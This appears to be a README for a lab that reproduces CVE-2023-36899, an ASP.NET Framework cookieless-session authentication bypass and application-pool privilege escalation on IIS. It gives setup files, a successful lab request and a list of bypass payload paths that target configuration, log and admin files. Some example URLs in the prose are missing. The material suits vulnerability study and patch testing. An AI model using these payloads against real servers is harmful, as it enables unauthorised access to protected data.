
CVE-2023-36899漏洞的复现环境和工具,针对ASP.NET框架中的无cookie会话身份验证绕过。
Reproduction environment and tooling for CVE-2023-36899, a cookieless session authentication bypass in the ASP.NET framework.
Cookieless DuoDrop: IIS Auth Bypass & App Pool Privesc in ASP.NET Framework (CVE-2023-36899)
In modern web development, despite cookies being the preferred method for transmitting session IDs, the .NET Framework also offers an alternative: encoding the session ID directly in the URL. This technique is known as the "cookieless" feature in .NET Framework. Many developers and security testers overlook this option because it is rarely used in practice. However, it has become a treasure trove for discovering client-side vulnerabilities such as session fixation, session hijacking, HTML injection, and cross-site scripting. Additionally, this feature can be exploited to bypass path-based firewall rules that are not configured to recognize cookieless methods. Due to inherent security concerns, .NET Core and subsequent .NET versions have omitted the cookieless feature. But we must not forget the vast number of web applications still using the classic .NET Framework.
Key Points:
The .NET Framework's cookieless feature can be abused to access protected directories or directories blocked by IIS URL filters. For example, consider the following scenario on a victim.com website:
Under normal circumstances, accessing these pages via these URLs is blocked in IIS:
However, the cookieless feature can be used to access these pages via the following patterns:
How IIS manages application pools can lead to privilege escalation or security bypass. The .NET Framework's cookieless feature can be manipulated to force an IIS application to run under its parent application pool instead of its own. For example:
A C# file named AppPoolPrint.aspx is accessible in all the above applications and displays the current application pool name. By using the cookieless feature twice, we can run this page under its parent application pool:
This allows pages even in /classic/nodotnet/ (which should not execute managed code) to run ASPX pages using their parent application pool. This behavior can lead to privilege escalation on IIS.
When installing IIS, select:
target.aspx test content:
<%@ Page Language="C#" %>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>ASPX Test</title>
</head>
<body>
This is a static text. <br>
Dynamic text: <%= DateTime.Now.ToString() %>
</body>
</html>
Root directory web.config test content:
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<compilation debug="true" targetFramework="4.5" />
<httpRuntime targetFramework="4.5" />
<sessionState mode="InProc" cookieless="UseCookies" />
</system.web>
</configuration>
Where means the website uses cookies to store some default session information, etc. This is the default setting as well.

Using http://10.0.2.15:8080/webform/(S(X))/b/(S(X))in/target1.aspx successfully accessed

Possible payload list:
/config/(S(X))/a/(S(X))pp/settings.xml
/config/(S(X))/settings.xml
/config/(S(X))/database.yml
/admin/(S(X))/config.xml
/a/(S(X))ppled/resource
/dashboard/(S(X))/data.json
/logs/(S(X))/error.log
/api/v1/(S(X))/config.json
/admin/s/(S(X))ettings/config.xml
/manage/s/(S(X))cripts/script.js
/dashboard/d/(S(X))ata/data.json
/config/dat/(S(X))abase/database.yml
....
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36899 https://soroush.me/blog/2023/08/cookieless-duodrop-iis-auth-bypass-app-pool-privesc-in-asp-net-framework-cve-2023-36899/ https://nvd.nist.gov/vuln/detail/CVE-2023-36899 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-36899